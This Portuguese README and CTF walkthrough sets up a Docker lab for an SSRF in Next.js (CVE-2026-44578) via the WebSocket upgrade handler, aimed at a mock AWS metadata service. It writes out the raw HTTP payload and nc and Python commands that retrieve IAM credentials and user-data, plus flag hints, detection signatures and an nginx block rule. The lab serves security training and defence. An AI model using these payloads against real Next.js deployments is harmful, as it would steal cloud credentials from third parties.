
este laboratório pode estar bem ou mal, está em testes, mas deve funcionar — pergunta à IA hahah
| Campo | Valor |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Tipo | SSRF (CWE-918) |
| Versões afetadas | Next.js 13.4.13 – 15.5.15 e 16.0.0 – 16.2.4 |
| Versões corrigidas | 15.5.16 e 16.2.5 |
| Autenticação | nenhuma |
| Interação do usuário | nenhuma |
Atacante (host: 0.0.0.0)
│ HTTP :3000 (público)
▼
┌──────────────────────────┐ mesmo namespace de rede ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (credenciais, │
│ (servidor Node integrado)│ │ user-data, índice) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (porta 3000): o app vulnerável, exposto em 0.0.0.0:3000.imds-sidecar: mock do metadata service da AWS que vive em
localhost:80 dentro do namespace do container do Next.js, modelando
uma instância real na nuvem. Não é alcançável a partir do host diretamente
(não há porta publicada). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # PoC automatizado (5 probes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + rotas secretas
└── nextjs-app/ # App realista "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (vulnerável)
O upgrade handler de WebSocket em router-server.ts chama proxyRequest()
quando o URI parseado tem parsedUrl.protocol, sem verificar os flags
finished e statusCode que o handler HTTP normal sempre emitiu:
// vulnerável (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// patch (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
A rota de ataque usa uma request line com URI absoluta de barra dupla:
GET http:///path. normalizeRepeatedSlashes colapsa http:/// para http:/,
ficando sem hostname, e http-proxy conecta então a localhost:80 com
o path intacto:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
A presença dos cabeçalhos Connection: Upgrade + Upgrade: websocket faz
com que o request caia no handler de upgrade vulnerável em vez do handler
HTTP com as verificações de segurança.
docker compose up -d --build
Verificar que o app responde:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
Para deixá-lo funcionando em 0.0.0.0, o mapeamento de portas em
docker-compose.yml já expõe 3000:3000 em todas as interfaces.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Fluxo completo 100 % manual, em 4 fases. Há 4 flags ocultos no
serviço interno (localhost:80); este guia mostra o fluxo até o
primeiro e deixa as rotas para encontrar o restante.
# Fingerprint do servidor
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Portas abertas via socket (sem nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
Não há acesso direto a 127.0.0.1:80 a partir do atacante: o único vetor é
fazer com que o servidor Next.js (que vive na mesma rede que o serviço
interno) peça por nós.
Primeiro confirmamos o SSRF perguntando pelo índice do metadata service:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Resposta do índice → candidatos: instance-id, hostname,
iam/security-credentials/, user-data (primeiro flag). O índice de
latest/meta-data/ também revela sub-keys que vale a pena continuar explorando.
GET http:///latest/user-data HTTP/1.1
| Parte | Função |
|---|---|
GET | A vuln só faz proxy de GET |
http:///latest/user-data | URI absoluta. http:/// colapsa para http:/ → hostname null → o proxy conecta a localhost:80 conservando o path /latest/user-data |
Host: 127.0.0.1:3000 | Se não, o servidor responde 400 |
Connection: Upgrade + Upgrade: websocket | Desviam o request para o handler de upgrade vulnerável (o handler HTTP normal valida) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | Cabeçalhos mínimos exigidos em um handshake legítimo |
Terminação: \r\n\r\n no socket raw (sem corpo).
# Opção A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Opção B: socket raw em Python (mesma precisão, sem nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
Saída — o primeiro flag chega no corpo da resposta do serviço interno:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
Flag 1/4 conquistado. O header server: BaseHTTP/0.6 ... (mock Python)
confirma que a requisição viajou Atacante → Next.js → localhost:80, ou seja,
o flag foi exfiltrado da rede interna pelo SSRF. Os outros 3 estão
espalhados em rotas do metadata service e do serviço interno — o índice de
latest/meta-data/ é o seu mapa. Encontre o restante.
O fake IMDS (localhost:80) modela o metadata service real da AWS: é uma
árvore navegável. Cada diretório (termina em /) responde com o índice
de suas sub-rotas; pedir um diretório sem / devolve um redirect 301. Não
há rotas ocultas: nenhum flag exige adivinhar — tudo se descobre
navegando os índices.
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → script de boot (aponta para internal/config)
| Rota | Conteúdo |
|---|---|
latest/meta-data/ | Índice de metadata (linha acima) |
latest/meta-data/iam/security-credentials/ | Role lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | JSON com AccessKeyId, SecretAccessKey e Token |
latest/user-data | Script de boot com credenciais de BD |
latest/dynamic/instance-identity/document | JSON de identidade de instância |
internal/config | Config de um serviço interno (DB, API key) — referenciado por user-data |
Desafio CTF: há 4 flags, e cada um é um artefato real da cadeia de exploração SSRF contra AWS: (1) user-data do boot, (2) credenciais IAM, (3) identity document, (4) config de um serviço interno. Seus valores não estão publicados. Navegue os índices (
/→latest/→ …) e siga de banner em banner; o script de user-data diz onde vive o quarto. Não é preciso adivinhar rotas: o 404 só te delata se você está inventando um path que não existe.
Versão completa com a cadeia flag→flag em seu próprio documento: SOLUCION.md (cada flag dá a pista do seguinte, fora deste README).
A regra: cada flag tem uma pista, uma trava e a solução. Primeiro tente com a pista; use a trava quando estiver travado. Não há rotas ocultas: ninguém engana, tudo se navega.
Dois avisos antes de começar:
ssrf() já está pronto em SOLUCION.md →
Preparação: copie-o e use-o para o restante do guia. Envia um request
GET http:///<path> com Connection: Upgrade + Upgrade: websocket.RkxBR3… (base64 de FLAG{…}). Decifre-os:
echo <blob> | base64 -d./latest/user-data? É a primeira coisa
que qualquer atacante verifica na AWS./ no final.
ssrf latest/meta-data dá 301 Moved Permanently e Location: latest/meta-data/. = "Siga-me". Com nc não há seguir automático: repita o
pedido com a barra.ssrf latest/user-data
No corpo: o script de boot com DB_PASS=… (Flag 1 está lá dentro),
e uma linha curl -s http://internal/config que é o mapa do Flag 4.
latest/meta-data/iam/security-credentials/ e peça a role
que aparece.Token não é preenchimento): o 200 traz um JSON longo.
AccessKeyId/SecretAccessKey saltam aos olhos; o Flag 2 não está
aí: o campo Token é uma única string base64. Decifre-a.ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ não é a única árvore. Veja o índice raiz:
há um dynamic/ que quase ninguém abre.dynamic/ → instance-identity/ →
document. São três degraus; em cada um seu ssrf deve terminar em /
(exceto document). Gente se perde por não re-solicitar após o 301.ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
O JSON de identidade inclui uma chave FLAG com o Flag 3 (em base64).
Se sua série de comandos devolveu 301 no segundo degrau, guarde a
lição da Trava 1.
curl -s http://internal/config.internal não resolve.
"internal" é um alias do lado do servidor, não seu. Você não muda o
host: o SSRF sempre aterrissa em localhost:80; só escolhe o path.ssrf internal/config
Verificação dos 4 (blob base64 → decodificado):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 flags em mãos. Se algum não sair FLAG{...}, você já sabe: revise o
curl de user-data (trava do Flag 4) ou o / dos índices (trava do Flag 1).
Uso manual, por exemplo credenciais IAM:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Resultado esperado — a resposta chega com server: BaseHTTP/0.6 Python/3.12.x
(o mock), não com o banner do Next.js, o que prova que a requisição foi
feita pelo servidor para localhost:80:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
O PoC verifica o SSRF mas censura os flags: os blobs base64 dos
FLAG{...} e os FLAG{...} em claro são mostrados como texto censurado. Os
valores só são obtidos por exploração manual (seção CTF acima).
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: exploração manual) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (flag cifrado: exploração manual) ***
http:///).Upgrade: websocket com 400).Para confirmar que o patch (Next.js ≥ 15.5.16) bloqueia o ataque, mude a
versão em nextjs-app/package.json para 15.5.16, reconstrua e re-execute o
mesmo payload: a conexão é fechada sem devolver dados.
Assinaturas em logs do processo Next.js:
Failed to proxy http:/ — o proxy disparou mas o destino era inalcançável.http: junto a
cabeçalhos Connection: Upgrade / Upgrade: websocket.HttpTokens=required) na AWS.if ($request_uri ~* "^https?://") { return 400; }